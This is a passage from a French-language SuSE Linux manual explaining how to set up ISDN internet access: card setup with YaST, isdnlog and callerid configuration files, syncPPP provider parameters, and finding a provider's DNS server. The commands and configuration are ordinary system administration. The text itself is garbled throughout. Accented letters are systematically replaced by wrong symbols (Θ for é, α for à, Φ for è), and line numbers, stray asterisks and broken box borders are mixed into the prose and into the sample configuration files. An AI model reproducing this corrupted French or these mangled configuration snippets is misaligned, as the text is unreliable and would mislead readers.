  11408.        `Manual  Proxy  Configuration' et ensuite `View'.
  11409.  
  11410.  Votre accΦs ISDN devrait maintenant fonctionner et la connexion Internet de-
  11411.  vrait  Ωtre  Θtablie  automatiquement  dΦs  que  vous  aurez  spΘcifiΘ  une  adresse
  11412.  Internet, par exemple dans Netscape. Et elle devrait aussi se terminer auto-
  11413.  matiquement  lorsqu'aucun  paquet  de  donnΘes  n'aura  ΘtΘ  transmis  pendant
  11414.  60 secondes. Contr⌠lez le trafic avec xisdnload         !
  11415.  
  11416.  Si tout ceci ne fonctionne pas encore, poursuivez votre lecture !
  11417.  
  11418.  
  11419.  6.2.2      Vue d'ensemble
  11420.  
  11421.  SuSE      Linux  contient  le  paquetage  isdn4linux  constituΘ  de  pilotes  matΘ-
  11422.  riels,  d'interfaces  rΘseau  et  d'une  Θmulation  de  modems  (uniquement  mo-
  11423.  dems numΘriques). Il met Θgalement α disposition un logiciel pour rΘpondeur
  11424.  tΘlΘphonique.
  11425.  
  11426.  Le  pilote  matΘriel  pour  carte  ISDN  est  chargΘ  par  /sbin/init.d/i4l_
  11427.  hardware (voir chapitre 17 page 445).
  11428.  
  11429.  La  configuration  de  la  partie  ISDN  est  prise  en  charge  par  l'outil  isdnctrl .
  11430.  La  configuration  des  interfaces  rΘseau  disponibles  se  fait  comme  pour  une
  11431.  interface Ethernet par les commandes ifconfig        (page de man de ifconfig
  11432.  (man  ifconfig          ))  et  route      (page  de  man  de  route      (man  route       )).  Sous
  11433.  SuSE      Linux,  ces  tΓches  sont  accomplies  par  le  script  /sbin/init.d/i4l
  11434.  (voir chapitre 17 page 445).
  11435.  
  11436.  Ce sont les diffΘrents paramΦtres inscrits dans le fichier /etc/rc.config qui
  11437.  servent ici de base. Le nom des variables utilisΘes s'oriente, dans la mesure
  11438.  du possible, aux options concernant isdnctrl .
  11439.  
  11440.  Par le script /sbin/init.d/route, le routage est configurΘ avec les valeurs
  11441.  contenues dans /etc/route.conf.
  11442.  
  11443.  La connexion est Θtablie α la demande avec les paramΦtres dΘfinis par isdnctrl
  11444.  ou /sbin/init.d/i4l et /etc/rc.config. Ils peuvent Ωtre affichΘs par la
  11445.  commande
  11446.  
  11447.        terre:  #  isdnctrl  list  all
  11448.  
  11449.  └ la demande signifie que l'une des ``routes'' ainsi crΘΘes accΦde α l'interface
  11450.  ISDN correspondante. Ceci peut Ωtre rΘalisΘ par chaque utilisateur et chaque
  11451.  application.
  11452.  
  11453.  
  11454.  6.2.3      Configuration du matΘriel ISDN
  11455.  
  11456.  
  11457.  Conditions
  11458.  
  11459.  Pour Θtablir une connexion ISDN sous SuSE     Linux il vous faut :
  11460.  
  11461.   1.   un raccordement ISDN
  11462.  
  11463.   2.   une carte ISDN supportΘe
  11464.  
  11465.   3.   un SuSE     Linux installΘ
  11466.  
  11467.  
  11468.                                                                                                                                    *
  11469.  *    175
  11470. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  11471.  *_______________________________________@
  11472.  
  11473.  
  11474.  
  11475.                             4.   un noyau standard installΘ α partir du CD SuSE     Linux.
  11476.                            ________________________________________________________________________________________________________*
  11477.  *________||
  11478.                            |  Vous  n'avez  pas  besoin  de  gΘnΘrer  votre  propre  noyau  ~  si  vous  voulez                    *
  11479.  *        ||||
  11480.                            |  toutefois compiler un noyau, vous devez absolument prendre les sources                               *
  11481.  *        |||
  11482.                            |                                                                                                       *
  11483.  *        |||
  11484.                            |  du paquetage lx_suse, sΘrie d !                                                                      *
  11485.  *        |||
  11486.                            |_______________________________________________________________________________________________________*
  11487.  *________|||_
  11488.  
  11489.                             5.   le paquetage kernmod, sΘrie a
  11490.  
  11491.                             6.   le paquetage i4l, sΘrie n
  11492.  
  11493.                             7.   pour une documentation plus dΘtaillΘe, le paquetage i4ldoc, sΘrie doc
  11494.  
  11495.                            Ce que vous devez savoir :
  11496.  
  11497.                              ~   Type de votre carte ISDN
  11498.  
  11499.                              ~   ParamΦtres de la carte : IRQ, adresse de port, etc. (en fonction du type)
  11500.  
  11501.                              ~   Quel protocole ISDN vous pouvez utiliser :
  11502.  
  11503.                                  ~   1TR6  : (vieux) ISDN allemand
  11504.  
  11505.                                  ~   DSS1  : Euro-ISDN
  11506.                            ________________________________________________________________________________________________________*
  11507.  *________||
  11508.  
  11509.                            |  Certains  grands  Θquipements  PBX/PABX  dΘjα  anciens  utilisent  souvent                           *
  11510.  *        ||||
  11511.                            |  1TR6  sur des bus S0   internes.                                                                     *
  11512.  *        |||
  11513.                            |_______________________________________________________________________________________________________*
  11514.  *________|||_
  11515.  
  11516.                            Quel est mon MSN/EAZ ?
  11517.  
  11518.                            Pour Euro ISDN, le MSN (Multiple Subscribe Number) est le numΘro d'ap-
  11519.                            pel multiple (sans prΘfixe). Pour un nouveau raccordement privΘ, il vous est
  11520.                            trΦs souvent attribuΘ trois numΘros indΘpendants. Vous pouvez choisir indif-
  11521.                            fΘremment l'un d'entre eux pour la connexion ISDN, mΩme si vous utilisez
  11522.                            dΘjα  ce  numΘro  pour  les  communications  tΘlΘphoniques  car  l'indicateur  de
  11523.                            service ISDN permet de diffΘrencier le type de connexion.
  11524.  
  11525.                            La carte ISDN est normalement reliΘe directement α un NTBA mais il peut
  11526.                            Ωtre utile de mettre α disposition un autre bus S0 par le biais d'un PABX.
  11527.  
  11528.                            Si vous utilisez l'Euro ISDN sur votre PABX, le MSN est (le plus souvent)
  11529.                            seulement le numΘro de sΘlection directe ou le 0 .
  11530.  
  11531.                            Pour  1TR6,  le  MSN  est  remplacΘ  par  un  EAZ  (en  allemand  EndgerΣte-
  11532.                            Auswahl-Ziffer  =  numΘro  de  sΘlection  de  l'appareil  terminal).  Le  EAZ  ne
  11533.                            comporte qu'un seul chiffre que vous pouvez choisir entre 1  et 9 . N'utilisez
  11534.                            pas 0  avec 1TR6 !
  11535.  
  11536.  
  11537.                            Configuration du matΘriel ISDN avec YaST
  11538.  
  11539.                            Le pilote pour la carte ISDN est fourni par un module du noyau chargeable.
  11540.                            Il n'est pas nΘcessaire pour cela de rΘamorcer le systΦme. Les cartes ISDN
  11541.                            courantes sont supportΘes par le pilote HiSax .
  11542.  
  11543.                            Certaines cartes, comme par exemple les cartes ICN  ou AVM-B1  ainsi que
  11544.                            les  cartes  PnP  (angl.  plug  and  play),  requiΦrent  un  traitement  spΘcial  et  ne
  11545.                            peuvent pas (encore) Ωtre configurΘes directement avec YaST . Pour plus d'in-
  11546.                            formations, voir la configuration du type de cartes ISDN.
  11547.  
  11548.                            Voici comment vous devez procΘder, Θtape par Θtape :
  11549.  
  11550.  
  11551. 176
  11552.       _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration___________________*
  11553.  *_____________________
  11554.  
  11555.  
  11556.  
  11557. 1.   Connectez-vous en tant qu'utilisateur `root'
  11558. 2.   LancezYaST
  11559.  
  11560. 3.   SΘlectionnez    le    menu    `Administration  du  systΦme',    `IntΘ-
  11561.      grer  le  matΘriel  dans  le  systΦme',    `Configurer  le  matΘ-
  11562.      riel  ISDN'. La figure 6.1 vous montre cette structure de menu.
  11563.       Fig. 6.1: Structure de menu pour la configuration ISDN avec YaST
  11564.  
  11565.  
  11566. 4.   Entrez dans le masque les paramΦtres suivants :
  11567.  
  11568.      ~   DΘmarrage  de  I4L
  11569.          Ce  n'est  que  si  ce  champ  est  actif  qu'ISDN  est  configurΘ  lors  de
  11570.          l'amorτage. Vous pouvez ainsi dΘterminer si une connexion ISDN peut
  11571.          Ωtre Θtablie automatiquement aprΦs l'amorτage
  11572.  
  11573.      ~   Protocole  ISDN
  11574.          Choisissez  entre  la  vieille  ISDN  allemande  (1TR6)  et  l'Euro  ISDN
  11575.          (EDSS1) aujourd'hui en usage. Notez que pour les connexions via un
  11576.          PABX on utilise souvent 1TR6
  11577.  
  11578.      ~   Type  de  la  carte  ISDN
  11579.          SΘlectionnez la carte supportΘe par le pilote HiSax. Pour les cartes PnP
  11580.          et  PCMCIA,  lisez  le  fichier  /usr/doc/packages/i4l/README.
  11581.          SuSE ainsi que le paragraphe 10.2.1 page 294.
  11582.       _______________________________________________________________________________________________________________________
  11583.       ||||||||  Notez que pour les cartes PCI il ne doit pas Ωtre spΘcifiΘ d'adresse d'E/S ni                  ||             |
  11584.       ||||||||                                                                                                 ||             |
  11585.       ||||||||  d'interruption.                                                                                ||             |
  11586.       ||||||||_______________________________________________________________________________________________________________||_
  11587.  
  11588.      ~   Identification  de  la  carte
  11589.          Vous devriez laisser l'identification sur HiSax     .
  11590.  
  11591.      ~   Interruption
  11592.          Adresse  de  base  mΘmoire
  11593.          Port  d'E/S
  11594.          Valeur  IO0
  11595.          Valeur  IO1
  11596.  
  11597.  
  11598.                                                                                                                                    *
  11599.  *  177
  11600. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  11601.  *_______________________________________@
  11602.  
  11603.  
  11604.  
  11605.                                      Selon le type de votre carte, des paramΦtres supplΘmentaires peuvent
  11606.                                      Ωtre nΘcessaires. Seuls les paramΦtres indispensables pour le type de
  11607.                                      carte sΘlectionnΘ sont activΘs, les autres valeurs sont ignorΘes.
  11608.  
  11609.                                  ~   Options  pour  le  chargement  du  module  ISDN
  11610.                                      Laissez ce champ vide.
  11611.  
  11612.                                  Vous pouvez obtenir_des informations complΘmentaires en appuyant sur
  11613.                                  la touche |F___|1. Vous pouvez voir le masque d'entrΘe dans la figure 6.2.
  11614.                                      Fig. 6.2: Masque d'entrΘe pour configuration ISDN avec YaST
  11615.  
  11616.  
  11617.                             5.   Activez le bouton `DΘmarrage'.
  11618.  
  11619.                                  Il  s'agit  d'un  test  :  Le  module  est  chargΘ  et  vous  pouvez  voir  dans  la
  11620.                                  fenΩtre si la carte a ΘtΘ reconnue correctement.
  11621.  
  11622.                                  En cas de rΘussite :           Activez le bouton `MΘmoriser'.
  11623.  
  11624.                                      Les paramΦtres sont stockΘs de faτon permanente (sous forme de va-
  11625.                                      riables dans les fichiers /etc/rc.config.d/i4l_*) et pourront ainsi
  11626.                                      Ωtre de nouveau activΘs aprΦs le prochain amorτage ou changement de
  11627.                                      niveau d'exΘcution. AprΦs le chargement du module α titre d'essai, le
  11628.                                      pilote reste chargΘ.
  11629.  
  11630.                                  En cas d'Θchec :          Essayez d'autres paramΦtres et examinez les modifica-
  11631.                                      tions dans le fichier /var/log/messages.
  11632.  
  11633.                                      ProblΦmes courants :
  11634.  
  11635.                                      ~   Certaines cartes mΦres, ne permettent pas d'utiliser le IRQ 12 ou le
  11636.                                          IRQ 15.
  11637.  
  11638.                                      ~   Les  adresses  spΘcifiΘes  ou  les  IRQ  sont  dΘjα  attribuΘs.  Supprimez
  11639.                                          toutes les cartes enfichables qui ne sont pas nΘcessaires pour le mo-
  11640.                                          ment, par exemple cartes son et cartes rΘseau.
  11641.  
  11642.                                      ~   Le module est dΘjα chargΘ. Basculez vers une autre console et lancez
  11643.                                          la commande suivante pour dΘcharger le module :
  11644.                                             terre:  #  rmmod  hisax
  11645.  
  11646.  
  11647.  
  11648. 178
  11649.        _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
  11650.  *______________________
  11651.  
  11652.  
  11653.  
  11654.           ~   Vous avez une carte PnP. Consultez le fichier /usr/doc/packages/
  11655.               i4l/README.SuSE.
  11656.  
  11657.           ~   Votre  carte  n'est  pas  supportΘe  par  HiSax  mais  par  un  autre  pi-
  11658.               lote (par exemple ICN, AVM-B1). Consultez le fichier /usr/doc/
  11659.               packages/i4l/README.SuSE.
  11660.  
  11661.  
  11662.  6.   Quittez YaST .
  11663.  
  11664.  7.   Configurer isdnlog
  11665.  
  11666.       Avant de charger les modules, vous devriez configurer isdnlog      . Il a pour
  11667.       tΓche de superviser toutes les activitΘs sur le bus S0.
  11668.  
  11669.       Modifiez les fichiers suivants en fonction de vos besoins :
  11670.  
  11671.  
  11672.       ~   /etc/isdn/isdn.conf :
  11673.  
  11674.           Le  premier  paramΦtre  spΘcifie  le  pays  dans  lequel  isdn4linux  est
  11675.           utilisΘ. Pour l'Allemagne, les valeurs sont celles du fichier 6.2.14 .
  11676.  
  11677.        _______________________________________________________________________________________________________________________||
  11678.        |||||||| #  /etc/isdn/isdn.conf                                                                                         |
  11679.        ||||||||                                                                                                                |
  11680.        |||||||| [GLOBAL]                                                                                                       |
  11681.        ||||||||                                                                                                                |
  11682.        |||||||| COUNTRYPREFIX  =  +                                                                                            |
  11683.        |||||||| COUNTRYCODE  =  49                                                                                             |
  11684.        ||||||||                                                                                                                |
  11685.        |||||||| AREAPREFIX  =  0                                                                                               |
  11686.        |||||||| CURRENCY  =  0.12,DM                                                                                           |
  11687.        ||||||||_______________________________________________________________________________________________________________ |
  11688.  
  11689.                             fichier 6.2.1: /etc/isdn/isdn.conf
  11690.  
  11691.  
  11692.           De mΩme, dans la section GLOBAL, le prΘfixe (AREACODE) ne doit pas
  11693.           commencer par un zΘro. Si votre prΘfixe est par exemple 0911    , entrez
  11694.           AREACODE  =  911.
  11695.  
  11696.           C'est  (en  Allemagne)  le  seul  point  qui  doit  Ωtre  modifiΘ.  Avec
  11697.           CHARGEMAX  =  20.00,  vous  pouvez  prΘcisez  le  co√t  maximal  (en
  11698.           ``Deutsche  Mark'')  des  appels  tΘlΘphoniques  quotidiens  5 .  Cela  vous
  11699.           protΦge contre les connexions non souhaitΘes. Mais ne vous fiez pas
  11700.           trop α cette fonction automatique !
  11701.  
  11702.       ~   /etc/isdn/callerid.conf :
  11703.  
  11704.           Vous pouvez inscrire ici tous les numΘros de tΘlΘphone connus. Dans
  11705.           le  fichier  /var/log/messages  et  par  la  commande  isdnrep      ,  vous
  11706.           pourrez voir les noms au lieu des numΘros de tΘlΘphone.
  11707.  
  11708.           Voir  l'exemple  dans  le  fichier  6.2.2  page  suivante.  Votre  numΘro  de
  11709.           tΘlΘphone est 4711     et celui de votre fournisseur d'accΦs est 4712    .
  11710.  
  11711.       ~   /etc/isdn/isdnlog.isdnctrl0.options :
  11712.  
  11713.           Vous pouvez entrer ici les options pour isdnlog       mais ce n'est gΘnΘra-
  11714.           lement pas nΘcessaire.
  11715. 4      ____________________________________________________
  11716.   N.d.l.T : Pour la France, COUNTRYCODE = 33
  11717. 5  N.d.l.T : Remplacez CURRENCY par le prix d'une unitΘ dans votre monnaie nationale (par
  11718. exemple CURRENCY = 0.61 Franc ou (aprΦs le passage α l'EURO) CURRENCY = 0.09,EURO
  11719. pour la France)
  11720.  
  11721.  
  11722.                                                                                                                                    *
  11723.  *   179
  11724. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  11725.  *_______________________________________@
  11726.  
  11727.                            ________________________________________________________________________________________________________*
  11728.  *________||||
  11729.                            | #  /etc/isdn/callerid.conf                                                                            *
  11730.  *         |
  11731.                            ||                                                                                                      *
  11732.  *         ||
  11733.                            | [MSN]                                                                                                 *
  11734.  *         |
  11735.                            | NUMBER  =  4711                                                                                       *
  11736.  *         |
  11737.                            |                                                                                                       *
  11738.  *         |
  11739.                            | SI  =  1                                                                                              *
  11740.  *         |
  11741.                            | ALIAS  =  moi                                                                                         *
  11742.  *         |
  11743.                            |                                                                                                       *
  11744.  *         |
  11745.                            | ZONE  =  1                                                                                            *
  11746.  *         |
  11747.                            |                                                                                                       *
  11748.  *         |
  11749.                            |                                                                                                       *
  11750.  *         |
  11751.                            | [MSN]                                                                                                 *
  11752.  *         |
  11753.                            | NUMBER  =  4712                                                                                       *
  11754.  *         |
  11755.                            |                                                                                                       *
  11756.  *         |
  11757.                            | SI  =  1                                                                                              *
  11758.  *         |
  11759.                            | ALIAS  =  Fournisseur  d'accΦs                                                                        *
  11760.  *         |
  11761.                            | ZONE  =  1                                                                                            *
  11762.  *         |
  11763.                            |_______________________________________________________________________________________________________*
  11764.  *________ |
  11765.  
  11766.                                                    fichier 6.2.2: /etc/isdn/callerid.conf
  11767.  
  11768.  
  11769.  
  11770.                             8.   Tapez les commandes
  11771.                                       terre:  #  init  1
  11772.                                       terre:  #  init  2
  11773.  
  11774.  
  11775.                                  afin  de  pouvoir,  entre  autre,  relancer  les  services  rΘseau.  Vous  pouvez
  11776.                                  rΘactiver ISDN avec YaST  (ou rΘamorcer si vous prΘfΘrez).
  11777.  
  11778.  
  11779.                            6.2.4      Tester le fonctionnement de votre connexion ISDN sur le serveur
  11780.                                       SuSE
  11781.  
  11782.  
  11783.                            6.2.5      Mise en place d'une connexion Internet par ISDN
  11784.  
  11785.  
  11786.                            Configuration ISDN pour votre fournisseur d'accΦs Internet
  11787.  
  11788.  
  11789.                            SΘlection d'un protocole
  11790.  
  11791.                            Pour les connexions ISDN il existe trois protocoles importants :
  11792.  
  11793.  
  11794.                              ~   syncPPP
  11795.  
  11796.                              ~   rawip-HDLC
  11797.  
  11798.                              ~   X.75  pour la connexion α un terminal
  11799.  
  11800.  
  11801.                            Les fournisseurs d'accΦs Internet utilisent gΘnΘralement le protocole syncPPP
  11802.                            avec lequel vous devriez par consΘquent configurer votre systΦme Linux.
  11803.  
  11804.  
  11805.                            Conditions
  11806.  
  11807.                              ~   Votre matΘriel ISDN a ΘtΘ configurΘ avec succΦs.
  11808.  
  11809.                              ~   Le pilote ISDN est chargΘ.
  11810.  
  11811.                              ~   Vous connaissez le MSN ou EAZ α utiliser.
  11812.  
  11813.                              ~   Vous   connaissez   le   protocole   utilisΘ   par   votre   fournisseur   d'accΦs
  11814.                                  (syncPPP , rawip ).
  11815.  
  11816.                              ~   Vous connaissez le numΘro de tΘlΘphone d'accΦs.
  11817.  
  11818.                              ~   Vous connaissez le nom d'utilisateur et le mot de passe.
  11819.  
  11820.  
  11821. 180
  11822.        _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration__________________*
  11823.  *______________________
  11824.  
  11825.  
  11826.  
  11827.   ~   Vous connaissez le serveur de noms de domaine de (DNS) de votre four-
  11828.       nisseur d'accΦs.
  11829.  
  11830. Ce  n'est  que  lorsque  toutes  ces  conditions  sont  remplies  que  vous  pouvez
  11831. configurer avec succΦs votre accΦs Internet.
  11832.  
  11833. L'exemple  suivant  se  rΘfΦre  α  une  connexion  syncPPP .  rawip  est  pratique-
  11834. ment identique bien que plus simple.
  11835.  
  11836. Voici maintenant la marche α suivre :
  11837.  
  11838.  
  11839.  1.   Lancez  YaST   et  passez  au  menu  `Administration  du  systΦme',
  11840.       `Configurer  le  rΘseau',  `Configuration  de  base  rΘseau'.  Il
  11841.       apparaεt alors un masque tel que celui de la figure 6.3
  11842.  
  11843.  
  11844.                          Fig. 6.3: Configuration rΘseau avec YaST
  11845.  
  11846.  
  11847.  2.   SΘlectionnez un numΘro disponible, par exemple 1 .
  11848.  
  11849.  3.   SΘlectionnez le pΘriphΘrique `ISDN  SyncPPP' en appuyant sur la touche
  11850.        ||__|F5.
  11851.  
  11852.  4.   Appuyez  sur  la  touche  |____|F6(`Adresse  IP')  et  faites  les  entrΘes  sui-
  11853.       vantes :
  11854.  
  11855.       ~   Adresse IP de votre machine (carte ISDN) : 192.168.0.99
  11856.  
  11857.       ~   Cochez  `Adresse  IP  dynamique'  seulement  dans  le  cas  o∙  une
  11858.           adresse  est  assignΘe  ``dynamiquement''  par  votre  fournisseur  d'accΦs
  11859.           (+  FAI) lors de chaque connexion.
  11860.  
  11861.       ~   Adresse IP de de la passerelle par dΘfaut : 192.168.0.1
  11862.  
  11863.       ~   Adresse IP de la machine distante PPP : 192.168.0.1
  11864.  
  11865.  5.   Quittez le masque en activant le bouton `Continuer'.
  11866.  
  11867.  6.   Appuyez sur la touche |F___|_4pour activer le pΘriphΘrique rΘseau au cas o∙
  11868.       ce n'est pas dΘjα fait.
  11869.  
  11870.  7.   Avec  la  touche  |____|F8(`ISDN'),  vous  pouvez  entrer  d'autres  paramΦtres
  11871.       spΘcifiques α ISDN. Il vous sont prΘsentΘs dans la figure 6.4 page suivante.
  11872.  
  11873.       SpΘcifiez pour cela les valeurs suivantes :
  11874.  
  11875.  
  11876.                                                                                                                                    *
  11877.  *   181
  11878. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  11879.  *_______________________________________@
  11880.  
  11881.  
  11882.  
  11883.                                              Fig. 6.4: Configuration du rΘseau ISDN avec YaST
  11884.  
  11885.  
  11886.  
  11887.                                  ~   Votre  numΘro  de  tΘlΘphone  (MSN)
  11888.                                      Votre MSN, par exemple 123456
  11889.  
  11890.                                  ~   NumΘros  α  appeler  :               012345678
  11891.                                      PrΘcision : 012345678 est le numΘro de la machine de votre fournis-
  11892.                                      seur d'accΦs.
  11893.                            ________________________________________________________________________________________________________*
  11894.  *________||
  11895.                            |  Vous devez Θventuellement ajouter le prΘfixe 0 pour certains PABX. Gar-                              *
  11896.  *        ||||
  11897.                            |  dez aussi prΘsent α l'esprit que des numΘros de tΘlΘphone comportant un                              *
  11898.  *        |||
  11899.                            |                                                                                                       *
  11900.  *        |||
  11901.                            |  espace sont considΘrΘs comme Θtant deux numΘros de tΘlΘphone diffΘrents.                             *
  11902.  *        |||
  11903.                            |_______________________________________________________________________________________________________*
  11904.  *________|||_
  11905.  
  11906.                                  ~   NumΘros  autorisΘs  α  appeler  :
  11907.                                      NΘcessaire uniquement pour serveurs Dialin.
  11908.  
  11909.                                  ~   Seuls  les  numΘros  spΘcifiΘs  sont  autorisΘs  :
  11910.                                      Placez  ce  drapeau  afin  de  vous  assurer  que  personne  ne  pourra  se
  11911.                                      connecter α votre systΦme sans autorisation.
  11912.  
  11913.                                  ~   Mode  de  numΘrotation  :
  11914.                                      Avec  auto   ,  une  connexion  est  Θtablie  automatiquement  lorsque  l'on
  11915.                                      tente  d'accΘder  α  des  adresses  qui  ne  sont  accessibles  qu'α  travers
  11916.                                      l'interface ISDN. Avec l'option manual      , la connexion doit Ωtre Θtablie
  11917.                                      α la main en cas de besoin. Avec off   , il n'est absolument pas possible
  11918.                                      d'Θtablir des connexions par le biais de cette interface ISDN.
  11919.  
  11920.                                  ~   Idle-Time  :
  11921.                                      PΘriode d'inactivitΘ pendant laquelle aucun paquet Internet n'est trans-
  11922.                                      mis par la ligne ISDN et aprΦs laquelle le raccrochage a lieu automati-
  11923.                                      quement.
  11924.  
  11925.                                  ~   Nom  de  connexion  PPP  :
  11926.                                      SpΘcifiez  ici  le  nom  d'utilisateur  (compte)  que  vous  avez  chez  votre
  11927.                                      fournisseur d'accΦs.
  11928.  
  11929.                                  ~   Mot  de  passe  pour  la  connexion  PPP  :                           SpΘcifiez ici le mot de
  11930.                                      passe  pour  votre  compte  chez  votre  fournisseur  d'accΦs.  Le  mot  de
  11931.  
  11932.  
  11933. 182
  11934.       _____________________________________________________________6.2.__AccΦs_Internet_par_ISDN_~_Configuration___________________*
  11935.  *_____________________
  11936.  
  11937.  
  11938.  
  11939.          passe n'apparaεt α l'Θcran que sous forme d'astΘrisques. Il est enregis-
  11940.          trΘ dans le fichier /etc/ppp/pap-secrets.
  11941.  
  11942.      Pour pouvez obtenir une aide supplΘmentaire en appuyant sur la touche
  11943.       ||__|_F1.
  11944.  
  11945. 8.   Activez le bouton `DΘmarrer'.
  11946.      PrΘcision : Le rΘseau est configurΘ α titre d'essai. Vous pouvez voir dans la
  11947.      fenΩtre si tout a bien fonctionnΘ. Il ne devrait y avoir ici aucun problΦme.
  11948.  
  11949.      Si tout fonctionne :           Activez le bouton `MΘmoriser'.
  11950.          PrΘcision  :  Les  paramΦtres  sont  stockΘs  de  faτon  permanente  (sous
  11951.          forme de variables dans les fichiers /etc/rc.config.d/i4l_*), et
  11952.          pourront ainsi Ωtre de nouveau activΘs aprΦs le prochain amorτage ou
  11953.          changement  de  niveau  d'exΘcution.  AprΦs  le  dΘmarrage  d'essai,  les
  11954.          paramΦtres sont conservΘs.
  11955.  
  11956.      En cas d'Θchec :          Il  est  probable  que  les  modules  ISDN  n'aient  pas  ΘtΘ
  11957.          chargΘs. Lisez les messages dans le fichier /var/log/messages.
  11958.  
  11959. 9.   Allez dans le menu de YaST `Configuration  du  serveur  de  noms'
  11960.      et  rΘpondez  oui    α  la  question.  SpΘcifiez  les  numΘros  IP  du  serveur  de
  11961.      noms (DNS) de votre fournisseur d'accΦs. Si vous ne connaissez pas ce
  11962.      numΘro  IP,  vous  devrez  le  demander  α  votre  fournisseur  d'accΦs.  Vous
  11963.      pouvez aussi demander α quelqu'un qui a dΘjα un systΦme Linux connectΘ
  11964.      α Internet de lancer la commande suivante dans une fenΩtre de terminal
  11965.      (nous prenons ici T-Online comme exemple) :
  11966.      whois  t-online.de
  11967.      Vous  obtiendrez  alors  un  affichage  qui  contient,  entre  autres,  les  lignes
  11968.      que vous voyez dans l'affichage 6.2.1.
  11969.       _______________________________________________________________________________________________________________________||
  11970.       |||||||| domain:           t-online.de                                                                                  |
  11971.       ||||||||                                                                                                                |
  11972.       |||||||| descr:            Deutsche  Telekom  AG,  Telekom  Online-Dienste                                              |
  11973.       |||||||| descr:            Generaldirektion,  GK361                                                                     |
  11974.       |||||||| descr:            Postfach  2000                                                                               |
  11975.       ||||||||                                                                                                                |
  11976.       |||||||| descr:            D-53105  Bonn                                                                                |
  11977.       |||||||| descr:            Germany                                                                                      |
  11978.       ||||||||                                                                                                                |
  11979.       |||||||| admin-c:         KHS252-RIPE                                                                                   |
  11980.       |||||||| tech-c:           JS691-RIPE                                                                                   |
  11981.       ||||||||                                                                                                                |
  11982.       |||||||| zone-c:           FS340-RIPE                                                                                   |
  11983.       |||||||| nserver:         dns00.btx.dtag.de                                                                             |
  11984.       ||||||||_______________________________________________________________________________________________________________ |
  11985.            affichage α l'Θcran 6.2.1: Affichage de whois  t-online.de
  11986.  
  11987.  
  11988.      Dans la ligne nserver  :         vous voyez le serveur de noms de votre four-
  11989.      nisseur d'accΦs. Il ne vous manque plus que l'adresse IP. Pour l'obtenir,
  11990.      lancez la commande :
  11991.      host  dns00.btx.dtag.de
  11992.      Vous  recevrez  une  rΘponse  telle  que  par  exemple  dans  l'affichage  6.2.2
  11993.      page suivante.
  11994.      Ceci  (194.25.2.129           )  reprΘsente  l'adresse  IP  du  serveur  de  noms  de
  11995.      T-Online.
  11996.      Si la connexion ne peut pas Ωtre Θtablie :
  11997.  
  11998.  
  11999.                                                                                                                                    *
  12000.  *  183
  12001. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12002.  *_______________________________________@
  12003.  
  12004.                            ________________________________________________________________________________________________________*
  12005.  *________
  12006.                            | dns00.btx.dtag.de  has  address  194.25.2.129                                                         *
  12007.  *         |
  12008.  
  12009.                            ||______________________________________________________________________________________________________*
  12010.  *________ ||
  12011.  
  12012.                                                    affichage α l'Θcran 6.2.2: Affichage de host
  12013.  
  12014.  
  12015.  
  12016.                                  ~   VΘrifiez  si  /var/log/messages  contient  des  messages  ``suspects''.
  12017.                                      Les  messages  d'Θtat  ISDN  (par  exemple  E001f    )  sont  dΘcrits  au  pa-
  12018.                                      ragraphe 6.2.6.
  12019.  
  12020.                                  ~   Essayez de vous connecter avec rawip .
  12021.  
  12022.                                  ~   Votre MSN/EAZ est~il correct ?
  12023.  
  12024.                                  ~   Est-il Θventuellement nΘcessaire d'utiliser le prΘfixe 0 ?
  12025.  
  12026.                                  Vous  trouverez  d'autres  informations  dans  la  base  de  donnΘes  support.
  12027.                                  Vous  pouvez  y  accΘder  soit  sous  l'URL  http://sdb.suse.de/sdb/
  12028.                                  fr/html/  sur  notre  serveur  WWW,  soit  par  le  biais  de  l'aide  en  ligne
  12029.                                  de SuSE      que vous pourrez obtenir avec susehelp         ou α partir du menu
  12030.                                  dans votre systΦme SuSE     Linux  dΦs que vous aurez installΘ le paquetage
  12031.                                  susehilf, sΘrie doc ainsi que le paquetage sdb_en, sΘrie doc.
  12032.  
  12033.                           10.    Si tout a bien fonctionnΘ, retournez α YaST , activez le bouton `MΘmori-
  12034.                                  ser' et quittez YaST .
  12035.  
  12036.  
  12037.                            NumΘro IP dynamique avec syncPPP
  12038.  
  12039.                            Dans le cas d'adresses IP dynamiques, les adresses ``dummy'' provenant de
  12040.                            votre secteur privΘ ne servent α rien d'autre qu'α tenir la place de celles qui
  12041.                            seront attribuΘes dynamiquement lorsque la connexion sera Θtablie.
  12042.  
  12043.  
  12044.                            Informations complΘmentaires
  12045.  
  12046.                            Vous  trouverez  des  informations  complΘmentaires  sur  la  maniΦre  d'Θtablir
  12047.                            une connexion ISDN et de configurer votre sous-systΦme ISDN dans :
  12048.  
  12049.                              ~   le fichier /usr/doc/packages/i4l/README.SuSE
  12050.  
  12051.                              ~   la base de donnΘes support : http://sdb.suse.de/sdb/fr/html/
  12052.  
  12053.                              ~   le  paquetage  i4ldoc  (par  exemple  la  FAQ  ISDN-FAQ  dans  le  fichier
  12054.                                  /usr/doc/packages/i4ldoc/i4l-faq)
  12055.  
  12056.                              ~   /usr/doc/inetcfg (paquetage inetcfg) : par exemple : T-Online par
  12057.                                  ISDN
  12058.  
  12059.  
  12060.                            6.2.6      Messages ISDN
  12061.  
  12062.                            Les messages dits ``de cause'' Θmis par le sous-systΦme ISDN sont en anglais
  12063.                            et ne sont malheureusement pas toujours faciles α comprendre. C'est pourquoi
  12064.                            nous vous en donnons ici une traduction en franτais.
  12065.  
  12066.                            Un  message  de  cause  (d'erreur)  typique  Θmis  par  HiSaX  est  composΘ  de
  12067.                            2 lignes, la location        et le cause  code        . Pour Euro-ISDN, il est constituΘ de
  12068.                            5 lignes, Exxyy     . La source du message d'erreur (qui n'est pas explicitΘe ici)
  12069.                            est indiquΘe par xx   alors que la cause du message est indiquΘe par yy  . HiSaX
